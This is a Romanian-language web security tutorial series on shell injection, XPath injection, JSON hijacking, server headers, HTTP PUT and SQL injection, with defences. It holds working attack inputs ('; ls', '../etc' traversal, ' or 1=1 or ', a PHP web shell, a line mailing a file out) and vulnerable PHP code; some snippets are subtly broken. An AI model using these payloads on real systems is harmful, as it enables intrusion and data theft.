Shell Injection, cunoscut si sub numele de Comand Injection (termenii sunt interschimbabili in acest caz), chiar daca nu se vorbeste prea des despre ea si nici nu este o vulnerabilitate prea des descoperita , este fara doar si poate una dintre cele mai critice.
Cuprins
Adesea, site-urile web trebuie sa se foloseasca de programele si bibliotecile de baza, pentru completarea unor functionalitati. Aceasta ar putea fi la fel de simplu ca si trimiterea unui e-mail, folosind programul Unix sendmail sau complicat ca si rularea programelor customizate Perl si C++. Din punct de vedere al dezvoltarii, acesta este un mod foarte bun pentru a reduce timpul de dezvoltare al unui site. In unele cazuri, daca datele sunt trecute prin aceste programe/biblioteci, sau printr-o interfata de utilizator, atunci un atacator ar putea incerca sa injecteze comenzi Shell in aceste programe backend, existand posibilitatea de a le compromite.
Pentru a intelege cum functioneaza majoritatea injectiilor Shell, imaginati-va un caz simplu. Sa presupunem ca este nevoie de un script customizat, pentru afisarea continutului unui fisier pe ecranul utilizatorului, dar echipa de dezvoltare nu vrea sa-si piarda timpul scriind o procedura pentru citirea fisierelor. Astfel, ei decid sa permita utilizatorilor sa specifice un fisier, dupa care sa foloseasca comanda Unix „cat” pentru afisarea rezultatelor la terminal. Codul pentru obtinerea acestora, poate arata astfel in PHP:
<?php echo shell_exec('cat '.$_GET['filename']); ?>
Totul in regula pana aici. Acum, scriptul poate fi apelat cu diferiti parametrii (GET) pentru afisarea diferitelor fisiere catre utilizatori. Daca adaugam fisiere noi in director, site-ul stie automat cum sa le citeasca si sa le afiseze indiferent de rezultat. Putem vedea acest lucru cu un simplu exemplu pentru a intelege cum ar trebui sa functioneze programul. Sa presupunem ca avem un fisier in acelasi director, pe care utilizatorul ar dori sa-l afiseze. Sa-l numim „my_great_content.txt”. Contine text de testare ca urmatorul:
This is my content. It should be visible. Unfortunately, it leads to command injection…
Un utilizator, apeleaza urmatorul URL:
www.mysite.com/viewcontent.php?filename=my_great_content.txt
Pagina PHP, va arata utilizatorilor continutul, exact cum trebuie. Pentru majoritatea utilizatorilor, pagina functioneaza cum trebuie si echipa de dezvoltare a trebui sa scrie doar o linie de cod. Din pacate, dupa cum banuiti, codul nu este securizat si este vulnerabil unui atac Shell command injection. Daca atacatorul isi propune, el poate adauga „;” si o alta comanda Unix in locul numelui fisierului specificat in parametrul URL. Sa presupunem ca atacatorul vrea sa inceapa prin listarea fisierelor din director.
www.mysite.com/viewcontent.php?filename=my_great_content.txt;ls
Aceasta comanda va afisa continutul fisierului my_great_content.txt , insa din moment ce am injectat comanda (ls), executia nu se incheie dupa afisarea continutului fisierului. Linia de comanda continua sa execute urmatoarea comanda si afiseaza anumite informatii speciale:
This is my content. It should be visible. Unfortunately, it leads to command injection... my_great_content.txt viewcontent.php
Acest cod ofera de fapt numeroase oportunitati pentru un atacator, inclusiv directory traversals. Ca si exemplu rapid, daca se lanseaza o comanda de genul ../../etc/password, am obtine ca si rezultat ca urmare a procesarii comenzii cat o lista cu toti utilizatorii inregistrati pe server. Chiar daca shell injection ar fi prevenita prin limitatea intrarilor in functia cat, aceasta problema tot ar trebui luata in considerare.
In sectiunea precedenta, am vazut un exemplu de functionare a Command Injection care ar putea sa functioneze. In aceasta sectiune, vom vorbi despre tipurile de Command Injection si modul in care acestea pot fi executate. Presupunând ca o analiza a gasit o functie intr-un site web care este probabil sa fie vulnerabila la Shell Injection (vezi sectiunea privind testarea pentru Shell Injection) sunt o multime de moduri in care se pot injecta comenzi ( Command Injection).
Sa presupunem spre exemplu, ca ati gasit o pagina cu vulnerabilitatea din exemplele anterioare, care ia ca argument un nume de fisier de intrare si executa comanda shell „cat” pentru a afisa la consola continutul acelui fisier. In exemplul anterior, am folosit o virgula pentru a separa o comanda de cealalta si pentru a indica faptul ca dupa ce comanda cat s-a finalizat, o alta functie ar trebui sa fie rulata in aceeasi linie. Este rezonabil sa presupunem ca un dezvoltator mai avansat ar putea elimina unele forme de shell injection, prin eliminarea folosirii (;) punct si virgula, facând atacul anterior ineficient. Exista diferite moduri de punere laolalta de comenzi shell, care puse impreuna creaza o noua comanda. Mai jos, sunt cei mai comuni operatorii pe care ii puteti utiliza, precum si exemple cu modul in care acestia ar putea fi utilizati intr-un atac:
Operatoti de redirectare
Exemplu: <, >>, >
Acesti operatori redirectioneaza fie intrarile, fie iesirile in alta zona pe server. Folosirea „<” va face ca tot ce urmeaza dupa semn, sa fie intrare standard. Inlocuirea numelui fisierului cu “< filename” nu se va schimba rezultatul afisarii, dar ar putea fi utilizat pentru a evita unele filtre.Operatorul „>” poate fi folosit pentru a modifica fisiere pe server, sau pentru a crea altele noi. Combinat cu comanda cat, ar putea fi usor de utilizat pentru a adauga utilizatori UNIX in sistem, sau pentru a sterge site-ul web. In cele din urma, „>>” adauga text unui fisier si poate fi folosit pentru a evita unele sisteme de detectie simpliste.
Pipe
Exemplu: |
Pipele dau posibilitatea unui utilizator sa combine mai multe comenzi. Va redirectiona rezultatul unei comenzi in ca intrare pentru urmatoarea. Poti rula un numar infinit de comenzi, prin combinarea acestora cu ajutorul pipelor, cum ar fi spre exemplu cat file1 | grep “string”
Comenzi Inline
Exemplu: ;, $
Acesta este un exemplu. Adaugarea semnului punct si virgula solicita comenzii sa execute orice inainte de punct si virgula, si apoi sa execute restul ca si cand ar fi o linie noua de comanda.
Operatoti logici
Exemplu: $, &&,||
Acesti operatori opereaza anumite operatiuni logice cu datele, inainte si dupa folosirea lor in linia de comanda.
Sabloane si rezultate comune ale operatiunii Injection
Mai jos, sunt prezentate cele comune sabloane Shell Injection (cele de mai jos se folosesc impreuna cu anumite siruri de intrare)
Aceste exemple sunt numai o mica parte din posibilele comenzi “Shell Injection”. Intregul spectru de posibilitati de atac este dependent de apelul unor functii din biblioteca de baza. De exemplu, daca o functie de baza foloseste un program shell, cum ar fi spre exemplu awk, si mai multe posibilitati de atac apar, in afara celor prezentate aici.
Command Injection poate fi mult mai subtila decât gasirea de aplicatii care acceseaza in mod direct functiile sistemului de operare. Daca este posibil, sa injectezi un cod (cum ar fi un cod PHP), atunci se pot efectua, de exemplu, Command Injections. Sa presupunem ca ai gasit o aplicatie cu o vulnerabilitate PUT pe un site care are PHP. Un atacator ar putea incarca pur si simplu un fisier script PHP cu o singura linie de cod, pentru a avea acces la un shell:
<?php echo shell_exec('cat '.$_GET['command']); ?>
Astfel, trebuie remarcat faptul, ca mai multe tipuri de atacuri, inclusiv SQL Injection, au ca si obiectiv principal Command Injection pentru a castiga controlul asupra serverului.
Primul pas in identificarea vulnerabilitatilor Command Injection, este de a parcurge site-ul. Odata ce aveti o serie de pagini identificate, pentru a testa Command Injection pe ele , sau in cazul in care banuiti ca un site web poate accesa direct o functie a sistemului de operare, exista câteva teste simple pe care le poti efectua pentru a obtine observa daca exista o vulnerabilitate Command Injection.
In functie de sistemul de operare, comenzile poti fi diferite. Atat pentru Unix cat si pentru Windows, prin adaugarea unui punct si virgula unor anumite intrari de date, printr-o simpla comanda de baza:
(Windows) <normal_input>; dir c: (Unix) <normal_input>; ls
Daca site-ul afiseaza mesaje de eroare, altele decât mesaje de caracter nevalid, atunci un Shell Injection este foarte posibil sa existe. Exista anumite mesaje de eroare, care sunt cele mai probabile, daca primiti mesaje de eroare cu privire la datele de intrare care nu au fost formatate corect in comanda, cum ar fi : fisierul nu a fost gasit, atunci când specifica un fisier pentru a fi citit, atunci va trebui sa modificati comanda in consecinta, adaugand ghilimele, spre exemplu.
Luati in considerare din nou primul exemplu in care site-ul ruleaza comanda de sistem ‘cat’ pentru a citi un fisier, si vom testa posibilitatea de a crea un string injection:
<?php //sending the input directly. Attack with a string like file.txt;ls echo shell_exec('cat '.$_GET['command']); ?> <?php //input is placed in quotes. You must end the quotes to execute an injection. //Craft an attack with a string like file.txt";ls echo shell_exec('cat "'.$_GET['command']).'"'; ?>
Testarea pentru Blind Command Injection
Uneori site-ul nu va returna orice mesaj de eroare catre display. In acest caz, testele pentru Command Injection trebuiesc contruite in asa fel incat sa nu depinda de afisarea rezultatului. Comenzile comune includ comanda unix “mail”, sau un ping catre o anumita adresa IP pentru a verifica daca functioneaza. Puteti de asemenea sa incercati sa scrieti fisiere de test in directorul web si sa verificati daca au fost create, cu toate ca metoda este mai putin folosita. Cateva exemple simple de blind command injection pe Unix, din nou presupunand ca site-ul asteapta un fisier text drept date introduse de utilizator:
file.txt;mail [email protected] < file.txt //send an email to yourself file.txt;ping www.test.com //ping a webserver you have control of file.txt;echo "test" > test.txt //write the word "test" to test.txt. try opening this file with the browser.
In fiecare caz, ia in calcul ca o parte din datele introduse sunt blacklisted de site. In cazul in care testele de baza Command Injection nu returneaza nici un rezultat, incercati encodarea caracterelor comune. Scheme comune de codare includ activarea JavaScript-UUencode, codare HTML in browser, sau diverse codificari Unicode.
Shell Injection este, in general, considerat ca fiind una una dintre cele mai periculoase vulnerabilitati, deoarece poate fi utilizata pentru a obtine controlul complet asupra unui server. Desi securizarea serverului si a sistemului de operare poate ajuta la limitarea impactului si face mai greu pentru un atacator sa modifice privilegii, exista in continuare un risc semnificativ. Modificarea privilegiilor foloseste, de obicei, urmatoarea schema:
1. Gasirea vulnerabilitatilor Shell Injection. Folosirea vulnerabilitatilor pentru a obtine acces shell prin crearea unui script shell personalizat accesibil de catre atacator. Acesta poate avea diferite forme, in general o simpla pagina PHP dedicata care serveste ca si Shell. Implicit acest shell va avea acelasi acces ca si utilizatorul care ruleza serverul web, de obicei Apache sau IIS.
2. Odata ce este stabilit accesul la shell, atacatorul poate monitoriza procesele pentru perspective suplimentare de atac. Un obiectiv bun ar putea fi o conexiune de utilizator la baza de date, care permite atacuri SQL Injection direct in baza de date, si poate permite atacatorului sa preia controlul ca si utilizator al bazei de date, de asemenea, poate folosi SQL Injection pentru a crea fisiere `setuid` cu proprietar chiar proprietarul bazei de date, cu privilegii globale de citire.
3. Din acest punct, este o chestiune care tine de atacator in a gasi alte vulnerabilitati pe server si a le exploata pentru a obtine privilegii suplimentare. Daca acest lucru inseamna gasirea `setuid` neprotejat penru root sau exploatarea bug-urilor software-ul cunoscute, este doar o chestiune de timp pana atacatorul are control complet al sistemului.
Testarea impotriva Shell injection este doar o parte din suita mai mare de teste automatizate, incluziv cel pus la dispozitie de site-ul nostru. Scannerele automatizate existente incearca o anumite varietate de atacuri Shell Injection ce nu afecteaza sistemul, cautand mesaje de eroare problematice sau un comportament deosebit al site-ului.
Pentru automatizarea acestui tip de teste fara a folosi un anumit program, metodologia este urmatoarea:
1. Compune o lista cu toate paginile si varietatea de modalitati prin care pot fi introduse date in site.
2. Pentru fiecare punct de introducere al datelor, incearca atacul de baza Shell Injection, cum ar fi adaugarea ; ls la o introducere de date normala.
3. Examineaza raspunsul serverului atunci cand se introduc date normal, comparativ cu situatia in care se introduc date injectate.
4. Daca site-ul returneaza mesaje de eroare sau diferite raspunsuri, ar putea avea o vulnerabilitate Shell Injection.
5. Repetati pasii 2-4 cu diferite Injectii, comenzi si scheme de encodare.
Implementarea unui scanner propriu automatizat pentru comenzi shell injection nu este cea mai buna solutie. Este mult mai util sa folosesti aplicatii open source existente si sa cauti modalitati de a imbunatati capacitatea lor de control, decât sa pornesti de la zero.
Cele mai comune locuri pentru a gasi vulnerabilitati shell injection este in zona si momentul incarcarii de fisiere si in codul web non-nativ ce ruleaza, cum ar fi Perl. Daca un site afiseaza ca citeste fisiere de pe disc, este posibil ca acesta sa nu foloseasca librariile corespunzatoarea, in schimb bazandu-se pe comenzi simple OS pentru a obtine rezultatul. Aplicatii de incarcare de fisiere sunt locuri foarte bune pentru a verifica Shell Injection. Cel de-al 2-lea loc comun este atunci când site-ul utilizeaza un limbaj non web, cum ar fi Perl pentru a executa unele functii. In cazul in care sunt gasite pe site scripturi Perl care pot fi utilizate, exista multe atacuri care pot fi folosite pentru a injecta comenzi suplimentare in timp ce fisierul Perl este utilizat.
Probabil cel mai comun loc dintre toate este atacul indirect Shell Injection, atunci cand aplicatia evalueaza codul direct, cum ar fi functia PHP eval. Daca utilizatorul detine orice tip de acces asupra datelor ce sunt introduse in functia eval, acesta poate fi folosit ca si vector pentru a executa cod shell, din moment ce PHP are capabilitati de a rula functii de sistem. Astfel, o analiza a site-urilor web implica intelegerea scripturilor folosite si analiza punctelor de introducere ale datelor, acolo unde un atac ar putea avea loc.
In ciuda a nenumaratelor moduri descrise mai sus pentru atacurile Shell Injection, acestea pot fi prevenite prin parcurgerea câtorva pasi simpli. Unul dintre cei mai importanti este aceala de a securiza cu atentie toate datele introduse de utilizator. Daca se poate evita transmiterea din partea utilizatorilor a unor argumente catre sistemului de operare, ar trebui sa se ia serios in considerare acest lucru. Alternativ, asigurati-va ca ati eliminat toate sintaxele potential daunatoare, cum ar fi punct si virgula, sau alte elemente de separare, care pot fi utilizate pentru a rula comenzi suplimentare. In Unix, acestea includ pipe (|), si ampersand (&). Cel mai bun mod de a realiza acest lucru este procedura white listing-ului. Pentru exemple de nume de fisier, vezi exemplul de mai sus, trebuie sa se mentina o lista de fisiere acceptate in white list, si trebuie verificat ca datele de intrare corespund cu o intrare din aceasta lista. Orice altceva trebuie sa fie respins ca si o operatiune nesigura.
Command Injection Overview
Example of command injection in action (Hacking practice)
HackerAdvisor.com include in procesul de scanare, diferite setari de test, care te vor ajuta sa reduci expunerea site-ului la atacuri, inclusiv atacurile Shell Injection.
Majoritatea site-urilor detin o metoda de stocare a datelor; cea mai des intalnita fiind baza de date. Totodata, anumite site-uri folosesc XML pentru stocarea datelor si folosesc o metoda de interogare a acestora cunoscuta sub numele de XPath. In cazul folosirii bazelor de date SQL pentru stocarea datelor unui site, administratorul site-ului trebuie sa aiba in vedere atacurile de tip SQL Injection care pot sustrage sau altera datele. Similar site-urilor care stocheaza informatii folosind XML si XPath, trebuie sa se aiba in vedere XPath Injection, pentru prevenirea furturilor sau a modificarilor de date.
Aplicatiile care returneaza diferite rezultate bazate pe informatiile de utilizatori introduse ( cum ar fi logarea unui user bazata pe user/parola) ar putea sa nu filtreze toate informatiile introduse de utilizator. Imaginati-va ca aveti datele de utilizator stocate intr-un fisier XML, si acest fisier XML arata in felul urmator:
<users> <user ID =1> <username>Admin</username> <password>MyPassw0rd</password> <role>admin</role> </userid> </users>
Uitandu-ne la codul pe care site-ul il foloseste pentru logarea user-ului, creeaza dinamic un XPath interogat in PHP, dupa ce user-ul a introdus username-ul si parola in campurile corespunzatoare (cu user si parola variabila) :
<?php $login = simplexml_load_file("users.xml"); $result=$login->xpath("//User[username/test()='".$_POST['user']." AND password/text()='".$_POST['pass']."'"; ?>
Problema principala mai sus mentionata, este faptul ca datele de la utilizator, nu sunt sigure. Variabila POST este folosita pentru a trage date direct din campurile de login si a le plasa in interogarea XPath. In acest moment, un atacator ar putea incerca introducerea unui string special pentru username:
' or 1=1 or '
Acum interogarea, intotdeauna returneaza primul user (in cazul nostru admin) si astfel atacatorul este logat ca si administrator!
Alte atacuri sunt posibile de asemenea, folosind o logica similara. In loc de logarea ca si administrator, atacatorul ar putea folosi alte string-uri speciale pentru a solicita date din documente la care ei nu ar trebui sa aiba acces, chiar si intrarea in posesia tuturor datelor din fisierul XML.
Cum impacteaza asta securitatea mea?
Un atac cu succes ar permite unui atacator sa fure intreaga baza de date, inclusiv datele sensibile si logarea cu privilegii de administrator in aplicatie.
Aceasta este vulnerabilitatea cu riscul cel mai mare, pe care o aplicatie o poate avea.
XPath Injection, poate fi prevenita intr-un mod similar ca si SQL Injection. Cea mai buna cale este securizarea cu atentie a datelor introduse de utilizator. Orice informatie primita de la un utilizator, trebuie considerata nesigura. Inlaturarea si securizarea ghilimelelor simple si duble, ar trebui sa inlature majoritatea tipurilor de atac de acest gen.
Luand in considerare faptul ca inlaturarea ghilimelelor, poate avea efecte secundare, cum ar fi atunci cand numele de utilizator poate contine ghilimele valide. Imaginati-va nume comune cum ar fi O`Malley, care contine ghilimile legitime si care pot fi introduse in campul nume. In aceste cazuri, introducerea informatiei poate fi securizata, cel mai adesea prin adaugarea unui / in fata ghilimelelor. Verifica cu biblioteca ta de functii specifica si un soft-ul XML, sintaxa corespunzatoare care poate fi folosita.
Majoritatea bibliotecilor folosite in programare, contin functii pentru a va ajuta sa faceti escape la datele introduse de utilizatorpentru siguranta interogarii. Verificati documentatia dvs. specifica pentru modalitatea corecta de automatizare a escape-ului datelor din interogarea documentelor XML.
RESURSE SUPLIMENTARE
Blind XPath Injection Paper
Web Application Security Consortium on XPath Injection
OWASP XPath Documentation
Hackeradvisor.com, include in procesul de scanare, diferite setari de test, care te vor ajuta sa reduci expunerea site-ului la atacuri, inclusiv impotriva XML Injection si XPath Injection.
JSON este o modalitate de a trimite date între diferitele componente ale unei aplicații utilizând date care pot fi serializate, sau sa transformat într-o serie de perechi key-value. Unele aplicații folosesc această metodă pentru a trimite date din aplicație la browser.
Problema apare atunci când aceste informații sunt sensibile de la sine. Un atacator poate construi un alt site și a crea o pagină care include sursa de cod JSON care cere browser-ului sa il considere JavaScript, cum ar fi :
<script src="https://www.mysite.com/secret-data.json" type="text/javascript"></script>
Pagina de atac poate include acum un JavaScript suplimentar pentru a citi acest răspuns JSON, și trimite datele inapoi catre atacator. Un cod cum ar fi următorul, va transforma raspunsul JSON într-un vector, care citeste raspunsul pentru acțiuni in continuare.
<script type="text/javascript"> var json_data; Array=function() { json_data=this;}; //turns JSON into an array! </script> <script src="https://www.mysite.com/secret-data.json" type="text/javascript"></script> <script type="text/javascript"> Var i=0; While(json_data[i++]){ Alert("Found secret data! "+json_data[i]; } </script>
Pasul final al acestui atac este de a convinge utilizatorul vizat pentru a vizita site-ul atacatorului în timp ce este conectat la mysite. În cazul în care utilizatorul este conectat la mysite, datele de autentificare vor fi trimise de către browser împreună cu cererea de date JSON, iar atacatorul va putea vizualiza informațiile secrete. Utilizatorii pot fi pacaliti in a face acest lucru printr-o varietate de moduri, de la simpla vizitare un post pe un forum unde atacatorul a postat, la vizualizarea comentariilor pe blog, sau chiar printr-un click direct pe un link-ul infectat.
Astfel, un rezumat al acestui tip de atac:
Marea majoritate a utilizărilor JSON nu vor fi afectate, deoarece majoritatea datelor trimise prin JSON nu sunt considerate a fi date critice. In plus, noile browsere, inclusiv Firefox 3 și mai sus, sau IE8 și mai sus au blocat metode comune de folosirea acestui atac, limitand impactul.
Cu toate acestea, este inca posibil ca un site atacator sa aiba posibilitatea de a fura date sensibile de la un utilizator în cazul în care datele sunt transmise prin JSON, deci ar trebui să ia în considerare prevenirea acest lucru in prima instanta, chiar dacă sunt trimise date non-critice.
Cea mai simpla solutie este convertirea tuturor solicitarilor de date catre JSON, sa foloseasca POST in loc de GET. Acest lucru va preveni ca unor alte site-uri sa extraga de date folosind un script src = „” tag-ul in site-ul lor.
Alternativ, puteți utiliza valori unice pentru a stabili daca cererea de datele in realitate vine de pe site-ul tau. De exemplu, în cererea GET, puteți solicita date unice, care vor fi diferite pentru fiecare sesiune, și pe care le puteti stoca în cookie-urile de autentificare ale utilizatorilor.
Spre exemplu, următorul form PHP folosește o cerere GET pentru a trimite o cerere de date, si in continuare, o valoare unică, numita nonce, este plasata în cerere și informația salvata in cookie.
Prima pagina (pagina formular in care utilizatorul actioneaza)
<?php //start the user session (set session cookie) session_start(); //generate nonce - this nonce will be used for this session only, using random values and the time $nonce=hash("md5",rand().time().rand()); echo "<br />Nonce: ". $nonce. "<br />"; $_SESSION[ 'nonce']= $nonce; ?> <!-- Now create the form, and include the same nonce we generated above--> <form name= "do_some_action" action= "completeAction.php" method= "POST"> <input type= "hidden" name= "nonce" value="<? php echo $nonce?>"/> <input type= "submit" value= "do Action"/> </form>
The page where the action is performed, after a user clicks a button.
<?php //start session session_start(); //get the POST nonce $post_nonce=$_POST[ 'nonce']; //get the session nonce $session_nonce=$_SESSION[ 'nonce']; //make sure to validate the post input to prevent other types of attacks! Not shown here for brevity if( $post_nonce=== $session_nonce) echo "Request is safe!"; else echo "Data might be stolen!"; ?>
HackerAdvisor.com include in procesul de scanare, diferite setari de test, care te vor ajuta sa reduci expunerea site-ului la atacuri, inclusiv securizarea feedurilor JSON .
Informatiile X header sunt incluse in mod implicit in diferite tehnologii aflate pe internet. Antetul trimite informatii catre browser, inclusiv informatii legate despre serviciile web care ruleaza. Multe tipuri de X-* headere nu sunt o amenintare pentru securitatea ta. Cel mai des intalnit X header, in legatura cu punerea in periocol a securitatii site-ului, este X-Powered-By header.
Informatiile X header sunt incluse in mod implicit in diferite tehnologii aflate pe internet. Antetul trimite informatii catre browser, inclusiv informatii legate despre serviciile web care ruleaza. Multe tipuri de X-* headere nu sunt o amenintare pentru securitatea ta. Cel mai des intalnit X header, in legatura cu punerea in periocol a securitatii site-ului, este X-Powered-By header.
Header-ul X-Powered-By dezvăluie informații bazate pe versiunea de PHP. Similar cu alte vulnerabilități de securitate cu risc scăzut, legate de versiunea de software, acesta dezvăluie date catre un atacator sau catre un proces automat, si poate fi folosit pentru a lansa atacuri cunoscute, bazate pe vulnerabilitati deja descoperite, care sa functioneze pentru versiunea dvs specifica. Eliminarea acestor informații, scade probabilitatea unor astfel de atacuri.
Un alt antet comun este antetul X-Pingback folosit în multe instalari de WordPress. Acesta este un exemplu de antet fără implicații de securitate, și poate fi ignorat fără probleme. Există in practica multe X-* headere, și fiecare rezultat, ar trebui să fie verificat pentru a vedea dacă se ofera informații despre versiunea platformei site-ului.
Un atacator dedicat, poate afla aceste informații printr-o varietate de metode, dintre care, cele mai multe nu pot fi prevenite cu ușurință. Prin ele însesi, aceste informații oferă o valoare mică pentru un atacator.
Cea mai comună utilizare a acestui tip de informații, este cea in care se caută pe Google dupa configurații specifice cunoscute a fi vulnerabile, sau vulnerabilitati deja depistate, si se automatizeaza atacuri cunoscute ca ar functiona împotriva unor setări similare cu ceea ce se gaseste pe site-ul dvs. Eliminarea acestor informații scade probabilitatea unor astfel de atacuri.
Deși nu este neapărat posibil sa previi complet descoperirea acestor informatii, este posibil să le faci mult mai dificil de descoperit pentru atacatori. Cel mai des intalnit X header pe care vrem sa il inlaturam este X-Powered-By din PHP. Iata cum se elimina aceasta :
HackerAdvisor.com include scanari numeroase si diferite, care te vor ajuta sa-ti securizezi site-ul, inclusiv te vor ajuta sa descoperi amenintari mici si obscure, care pot deveni majore. Adaugam constant si mai multe, in procesul de scanare.
Mulți dezvoltatori web sunt familiarizați cu metodele GET și POST care permit unui utilizator să transmita date unui site web. Mai puțin cunoscuta este metoda PUT, care permite unui utilizator sa incarce fișiere și a le transforma în automat in adrese noi URL.
Mulți dezvoltatori web sunt familiarizați cu metodele GET și POST care permit unui utilizator să transmita date unui site web. Mai puțin cunoscuta este metoda PUT, care permite unui utilizator sa incarce fișiere și a le transforma în automat in adrese noi URL.
PUT poate fi periculos dacă nu este corect securizat. În cel mai rău caz, ne imaginăm un site care permite sa foloseasca PUT si sa incarce fisiere. Un atacator ar putea construi un script PHP special, care ar putea adăuga un nou cont de utilizator pentru server, cu drept de acces root (admin). Atacatorul efectuează apoi un HTTP PUT cu acest script PHP, ca rezultat va fi formata o nouă adresă URL . În cazul în care atacatorul navighează la acest URL, fișierul PHP este executat de către serverul de web, și poate avea acces sa modifice orice fișiere de utilizator pe sistemul la care are acces, inclusiv pagini web existente.
Uneori PUT este o componenta folositoare a unui site. Solutia este sa fii sigur că doar utilizatorii autentificați au acces, si cei autentificați sunt atent limitati, astfel încât numai utilizatoriilor de încredere li se permite să efectueze PUT. În acest mod, utilizatorii PUT au acelasi nivel de incredere ca si cand ar avea un cont pe server, și au posibilitatea de a încărca sau modifica fișiere prin alte metode, cum ar fi FTP.
Dacă solicitările de PUT sunt acceptate de conturile care nu sunt de incredere (în general non-administrator) , atunci aceasta vulnerabilitate va permite unui atacator să preia controlul complet al site-ului dvs. și eventual, al întregului server web.
Daca site-ul nu are nevoie de funcționalitatea PUT, atunci, este recomandat să treceți la un alt protocol securizat care folosește datele de conectare specifice de utilizator, cum ar fi SFTP. Dacă este nevoie de PUT pentru site, asigurați-vă că ati blocat toți utilizatorii. O autentificare dubla este cea mai bună metodă de a asigura acest tip de funcționalitate – în primul rând cu un nume de utilizator și de asemenea, cu autentificare HTTP.
In this manner, users will be named and limited in who can perform PUT requests.
Daca site-ul nu are nevoie de funcționalitatea PUT, atunci este recomandat să treceți la un alt protocol securizat care folosește datele de conectare specifice de utilizator, cum ar fi SFTP. Dacă este nevoie de PUT pentru site, asigurați-vă că ati blocat/securizat accesul pentru toți utilizatorii. O autentificare dubla este cea mai bună metodă de a asigura acest tip de funcționalitate – în primul rând cu o autentificare web cu nume de utilizator, și in plus, cu autentificare HTTP.
Apache PUT information
PUT vs. POST
Setting up Secure HTTP Authentication with Apache
HackerAdvisor.com include in procesul de scanare, diferite setari de test, care te vor ajuta sa reduci expunerea site-ului la atacuri, inclusiv depistarea setarilor necorespunzatoare pe serverul web.
Cele mai multe site-uri au o modalitate de a stoca date, cea mai frecventa este cea care foloseste o bază de date. Când se foloseșt baze de date SQL pentru a stoca date site-ului, un proprietar de site trebuie sa se fereasca de atacurile SQL Injection, care pot fi folosite pentru a fura sau a modifica datele utilizatorilor.
Unele site-uri care returnează rezultate diferite pe baza informațiilor transmise de utilizator (cum ar fi spre exemplu, logarea un utilizator în baza unui username / parola) nu pot filtra în mod corespunzător toate datele introduse de utilizator. Astfel, atunci când un utilizator introduce unele date, acesta poate modifica datele dintr-o încercare de a schimba interogarea SQL asupra bazei de date. Dacă reuseste, atunci atacatorul poate fi în măsură să se conecteze ca si administrator, sau poate fura alte date ale utilizatorilor.
Imaginați-vă că aveți datele de logare a utilizatorilor, stocate într-o tabela a bazei de date (utilizatori), și ca aceasta are următoarea structură:
CREATE TABLE users( User_id INT, username VARCHAR(30), password VARCHAR(30) );
Uitandu-ne la codul pe care site-ul il foloseste pentru a trata procesul de log-are, observam ca se construiește dinamic o interogare SQL în PHP, după ce un utilizator a tastat numele de utilizator și parola într-un formular (cu campurile – utilizator și parola):
<?php $results = mysql_query( "SELECT use_id FROM users WHERE username='".$_POST['user']."' AND password='".$_POST['pass']); ?>
Principala problemă de mai sus este ca datele de la utilizator nu sunt securizate, variabila POST este folosita pentru a trage date direct din formularul de login, și plasându-l în interogare. În acest moment, un atacator ar putea încerca sa puna într-un șir special pentru nume de utilizator:
‘ or 1=1 or ‘
Acum, interogarea returnează întotdeauna primul utilizator (potential administratorul ) și atacatorul se poate conecta ca si administrator!
Si alte atacuri sunt posibile folosind o logica similara. În loc să se conecteze ca administrator, un atacator ar putea folosi alte siruri de caractere speciale, pentru a solicita date din baza de date la care nu ar trebui să aibă acces, ar putea aduna toate datele din baza de date la care un utilizator al bazei de date are acces.
Un atac reusit ar permite unui atacator sa obtina majoritatea sau chiar toate informatiile din baza de date, inclusiv toate datele sensibile, și se conecteze cu drepturi de administrator.
SQL Injection este una dintre vulnerabilitățile cu riscul cel mai ridicat pe care il poate avea un site.
Atacurile de tip SQL Injection pot fi prevenite într-un mod similar cu XPath Injection. Cel mai bun mod este de a securiza cu atenție datele introduse de utilizator. Orice date primite de la un utilizator ar trebui să fie considerate nesigure. Eliminarea tuturor ghilimelelor simple și duble ar trebui să elimine cele mai multe tipuri de acest tip de atac.
Aveti grija la eliminarea ghilimelelor, deoarece poate avea efecte secundare, cum ar fi situatia când numele de utilizator ar putea conține ghilimele valide. Imaginați-vă nume comune, cum ar fi O’Malley, care conține ghilimelelor legitime și pot fi introduse printr-un formular ca si nume de utilizator. În aceste cazuri, campul de intrare ar trebui să fie escaped, de multe ori prin adaugarea unui \ în fața ghilimelei. Verificați in bibliotecile specifice și software-ul de bazei de date pentru sintaxa corespunzătoare.
Majoritatea bibliotecilor de programare conțin funcții pentru a face escape la datele introduse de utilizator. Consultați documentația specifică pentru modul corect de a face escape automat la date, inainte de interogarea bazelor de date SQL. În PHP si MySQL, mysql_real_escape_string este funcția de a face escape la datele de interogare periculoase. Folosind aceasta sau funcții similare, care trateaza toate datele introduse de utilizator va ajuta la mentinerea unui cod securizat.
În al doilea rând, scrie toate interogările SQL folosind interogări parametrizate, astfel incat interogarea este pre-definita, și datele tastate sunt verificate si transmise ulterior. În PHP, de exemplu, ai putea re-defini interogarile mentionate anterior folosind această interogare parametrizata, cu scopul de a preveni atacurile SQL injection:
<?php $query= "SELECT user_id FROM users WHERE username=? and password=?"; //query definition $preparedStatement=$database_connection()->prepare($query); //prepare the statement mysqli_stmt_bind_param($preparedStatement, 'ss', $field1, $field2); //prepare to bind two Strings (the ss) $field1 = $_POST['user']; //you may want to do more input checking here! $field2 = $_POST['pass']; //you may want to do more input checking here! mysqli_stmt_execute($preparedStatement); //execute the parametrized query ?>
SQL Injection Cheat Sheet
Prevent SQL Injection in PHP with MySQL
SQL Injection by Example
HackerAdvisor.com include in procesul de scanare, diferite setari de test, care te vor ajuta sa reduci expunerea site-ului la atacuri, inclusiv atacurile SQL Injection.